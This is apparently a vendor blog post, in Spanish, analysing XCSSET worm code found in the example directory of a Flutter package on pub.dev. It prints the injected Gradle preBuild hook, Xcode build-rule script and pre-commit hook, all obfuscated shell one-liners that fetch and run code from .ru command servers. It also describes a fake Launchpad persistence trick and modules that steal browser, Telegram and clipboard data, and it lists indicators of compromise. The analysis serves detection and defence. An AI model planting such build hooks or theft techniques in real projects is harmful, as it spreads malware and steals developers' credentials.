Aikido

Un paquete de Flutter comprometido en pub.dev contiene el malware XCSSET

Escrito por
Ilyas Makari

Hoy, pub.dev se suma a la lista de registros de paquetes en los que hemos encontrado malware. Hemos detectado una variante de XCSSET oculta en el interior de visor_universal_de_archivos (versión 0.1.5), un paquete de Flutter para la vista previa de archivos disponible en pub.dev con unas 500 descargas. Se trata del primer paquete comprometido que hemos detectado en pub.dev, el repositorio oficial de paquetes para Dart y Flutter. A diferencia del npm reciente ataques a la cadena de suministro Como quizá ya sepas, no se trató de un caso en el que alguien hubiera atacado deliberadamente este paquete.

XCSSET es un gusano de macOS que inserta de forma masiva un gancho de compilación malicioso en todos los proyectos Gradle de Android, proyectos de Xcode y repositorios de Git que encuentra en un equipo infectado. El equipo del responsable del mantenimiento estaba infectado y, cuando publicó una nueva versión del paquete desde ese equipo, los archivos infectados se incluyeron en ella. El paquete de pub.dev se remonta a un repositorio de GitHub comprometido.

Una búsqueda rápida en GitHub muestra que esto sigue ocurriendo hoy en día, y que hay otros responsables que publican activamente proyectos infectados sin saberlo:

Para obtener más información sobre XCSSET, consulta el informe de Unit 42 titulado «The Xcode Assassin Returns» y las publicaciones de Microsoft de marzo y septiembre de 2025.

Lo que encontramos en el paquete

visor_universal_de_archivos es un paquete de pub.dev que ofrece widgets de vista previa de archivos integrada para aplicaciones de Flutter: PDF, Word, Excel, vídeo, Markdown y texto sin formato. El código de su biblioteca Dart se encuentra en lib/ está completamente limpio. Todos los archivos infectados se encuentran dentro del ejemplo/ directorio, que se incluye en el archivo tar de pub.dev, pero que nunca se compila cuando el paquete se utiliza como dependencia. Basta con añadir visor_universal_de_archivos a tu pubspec.yaml y el hecho de compilar tu propia aplicación no activa nada. El riesgo lo corre quien clone el repositorio y compile explícitamente la aplicación de ejemplo de forma local. No se trata de un ataque dirigido contra el paquete ni contra sus dependencias. El gusano simplemente se adjuntó a cualquier archivo de compilación que encontró en el ordenador infectado del responsable del mantenimiento, y la mayoría de los usuarios del paquete nunca se verán afectados.

Se infectaron tres configuraciones de compilación distintas, cada una de ellas infectada de forma independiente por los módulos de gusano de XCSSET:

ejemplo/android/app/build.gradle.kts contiene un preBuild gancho inyectado por el android_finder módulo:

tasks.all {
    if (name.contains("preBuild")) {
        doLast {
            ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
        }
    }
}

printf xAxd | tr -d A reconstruye xxd durante la ejecución para burlar los escáneres basados en cadenas. El fragmento hexadecimal se decodifica en un comando «curl» para 5yotmxcc54l9xda[.]ru/a con etiqueta de campaña p=android_kotlin. Se ejecuta de forma silenciosa en cada compilación de Gradle, y la salida se descarta.

ejemplo/ios/Runner.xcodeproj/project.pbxproj y ejemplo/macos/Runner.xcodeproj/project.pbxproj ambos contienen un PBXBuildRule entrada que se activa cuando cualquier .md El archivo se procesa durante una compilación:

script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";

A3EA261 es un parámetro de compilación definido en el mismo archivo. En el caso de iOS, está ofuscado con base64 (printf bdase64 | tr -d d), señalando hacia qdgs232i-q[.]ru con la etiqueta p=xcode_rule. En el caso de macOS, está ofuscado en hexadecimal (printf xxVd | tr -d V), señalando hacia ejntin6hkjt7gj2[.]ru con la misma etiqueta. Ambos se ejecutan al compilar el proyecto.

La cadena de contagio

XCSSET se compone de varias etapas y módulos, cada uno de los cuales realiza una función específica.

Etapas

  • Fase 1: el hook de compilación se conecta al C2 y recibe a cambio un script que vuelve a realizar la solicitud indicando el sistema operativo y el nombre de usuario.
  • Fase 2: El servidor devuelve un script de shell cifrado que recopila el número de serie del hardware y la configuración regional, y descarga el cargador principal a /tmp/h, crea un paquete de aplicación invisible a su alrededor, lo ejecuta y, a continuación, elimina ambos en un plazo de diez segundos
  • Etapa 3: el cargador es un AppleScript compilado de solo ejecución que se descifra a sí mismo utilizando AES-256-CBC con una clave generada diariamente y, a continuación, ejecuta la carga útil descifrada en memoria.
  • Fase 4: la carga útil descifrada es el orquestador principal que se encarga de distribuir todos los módulos

Módulos de propagación

  • android_finder: inyecta un archivo malicioso preBuild se infiltra en todos los proyectos Gradle de Android del equipo. Cualquier desarrollador que compile uno de esos proyectos también se infecta.
  • git_finder: escribe un archivo malicioso pre-commit Se integra con todos los repositorios Git de la máquina. Se ejecuta con cada confirmación.
  • replicator_finder: introduce una fase de compilación maliciosa en todos los proyectos de Xcode del equipo. Cualquier desarrollador que compile uno de ellos se infecta

Persistencia

  • persistir: sustituye el icono de Launchpad del Dock por un paquete falso que vuelve a activar la secuencia cada vez que el usuario hace clic en él. Se mantiene tras los reinicios y no deja rastro en las ubicaciones de persistencia habituales.

Módulos antirrobo

  • browser_remote: extrae la entrada del llavero «Safe Storage» de Chrome para interceptar su clave de cifrado regenerada y, a continuación, sustraje las contraseñas guardadas, las cookies y los tokens de sesión
  • safari_remote: instala un paquete falso de Safari y sustrae los datos locales de Safari
  • firefox_data: descarga un archivo binario nativo y sustraje las credenciales de Firefox
  • tdesktop: cierra Telegram, lo sustituye por una copia infectada con un troyano y se centra en los datos de la sesión
  • notes_app: espera a que se abran las aplicaciones «Notas», «Recordatorios» o «Calendario» y, a continuación, extrae sus datos
  • portapapeles: lee y extrae el contenido del portapapeles
  • settings_app: se hace pasar por «Configuración del sistema» y utiliza sudo para la escalada de privilegios
  • buscador_de_carpetas_de_datos: recorre el directorio de inicio y extrae archivos de las carpetas seleccionadas

Todos los módulos de robo se descargan desde el C2 y se ejecutan en memoria mediante osascript. No se guarda nada en el disco. Los datos sustraídos se cifran con AES-256-CBC antes de enviarse a /u.

Cómo se transmite

Antes de ejecutar cualquier módulo de robo, el cargador envía tres módulos de gusano.

android_finder

android_finder busca en el directorio de inicio los archivos de compilación de Android:

nice -n 15 find ~ -maxdepth 6 \
  \( -tipo d \( -name Películas -o -name Biblioteca ... \) -prune \) \
  -o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -imprimir

En cada ejecución, comprueba que se trata de un módulo de Android auténtico antes de inyectarlo y, en primer lugar, elimina cualquier infección previa. Es compatible tanto con los archivos de compilación en Kotlin DSL como en Groovy. Cualquier desarrollador que compile uno de esos proyectos se infecta, al igual que cualquiera que clone el repositorio y lo compile después de ellos.

git_finder

git_finder encuentra cada .git directorio del equipo y escribe un archivo malicioso pre-commit se infiltra en cada uno de ellos. La carga útil del hook es polimórfica: el dominio C2, el esquema de codificación y la profundidad de anidamiento se aleatorizan en cada infección. El resultado tiene este aspecto:

#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)

Cada commit que realiza el desarrollador, en cualquiera de sus repositorios, vuelve a activar de forma silenciosa toda la cadena. Si ya existe un hook, el módulo elimina las líneas inyectadas anteriormente mediante sed antes de añadir.

replicator_finder

replicator_finder es el vector clásico XCSSET. Analiza project.pbxproj archivos, comprueba si hay archiveVersion = y Sección PBXShellScriptBuildPhase, e introduce una fase de compilación denominada «Run Script». Cualquier desarrollador que abra y compile un proyecto de Xcode infectado se ve afectado. Esto se ha documentado desde 2020 y sigue formando parte del conjunto de herramientas, junto con los otros dos vectores.

Persistencia oculta en el Dock

El persistir El módulo comprueba si esto se mantiene tras un reinicio. Así es, y de una forma que elude las comprobaciones de persistencia habituales.

Se descarga dockutil desde el C2 (/d/dockutil_arm64 o /d/dockutil_amd64), ad-hoc lo firma y crea un paquete de aplicación falso en ~/Biblioteca/Cachés/vyf[.]lttzw[.]snjgwq/. El paquete incluye Info.plist se ha modificado para que se haga pasar por Launchpad:

plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plist

A continuación, utiliza dockutil para sustituir el icono real de Launchpad del Dock por el paquete falso. Al hacer clic en Launchpad se abre el Launchpad real (open -b com.apple.launchpad.launcher) y ejecuta el script malicioso al mismo tiempo. Cada vez que se reinicia el sistema, se ejecuta la primera vez que el usuario hace clic en Launchpad.

Módulos «Stealer»

Una vez que la propagación y la persistencia están activadas, el cargador envía los módulos de robo. Cada uno de ellos se obtiene de /s/<module> y se ejecuta a través de osascript -e "$(curl ...)". No se guarda nada en el disco.

browser_remote descarga un binario nativo (cd_arm64 o cd_amd64) del C2, elimina el GoogleUpdater y Actualización de software entradas y ejecuciones seguridad eliminar-contraseña-genérica para eliminar la entrada del llavero «Safe Storage» de Chrome. Al eliminar esta entrada, se obliga a Chrome a regenerar su clave de cifrado, que el binario intercepta para descifrar las contraseñas guardadas, las cookies y los tokens de sesión.

safari_remote crea un paquete falso de Safari en ~/Biblioteca/ASafari/ y ~/Biblioteca/Cachés/com[.]beta[.]Safari y extrae los datos locales de Safari.

firefox_data descargas hbdm_arm64 o hbdm_amd64 y lo invoca con -c contraseña --zip, lo que da lugar a un firefox_browser_data.zip subido a /u.

tdesktop ejecuta killall -9 Telegram, descarga una versión reempaquetada Telegram.app desde el C2, y coloca el archivo de sustitución en su lugar mediante una firma ad hoc. Su objetivo son los datos de sesión de Telegram procedentes tanto de la ruta clásica (~/Biblioteca/Application Support/Telegram Desktop/tdata) y la ruta del contenedor en el entorno aislado.

notes_app espera a que se ejecuten las aplicaciones «Notas», «Recordatorios» o «Calendario», se instala en el paquete de la aplicación correspondiente y extrae notes_app_data.zip.

portapapeles gestiona un pbpaste entra en un bucle y extrae el contenido del portapapeles.

settings_app crea un paquete falso de «Configuración del sistema» que aparece en «Preferencias del sistema» y «Preferencias» en Spotlight, y descarga un archivo binario independiente mac_bin_daemon_app desde el C2, y ejecuta comandos a través de sudo -u para la escalada de privilegios.

buscador_de_carpetas_de_datos recorre el directorio de inicio y extrae archivos de las carpetas seleccionadas para enviarlos a /u.

Todos los datos robados van a parar a /u mediante un POST multiparte, cifrado con una clave AES-256-CBC.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Indicadores de compromiso

Dominios C2

  • 5yotmxcc54l9xda[.]ru
  • qdgs232i-q[.]ru
  • ejntin6hkjt7gj2[.]ru

Artefactos de archivo

  • project.pbxproj que contiene un PBXBuildRule con sh -c "${A3EA261}"
  • build.gradle o build.gradle.kts que contiene una llamada a un shell ofuscada mediante printf xAxd | tr -d A reconstruir xxd
  • .git/hooks/pre-commit que contiene base64 --decode | base64 --decode o xxd -p -r | xxd -p -r
Compartir:

https://www.aikido.dev/blog/compromised-flutter-package-on-pub-dev-contains-xcsset-malware

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.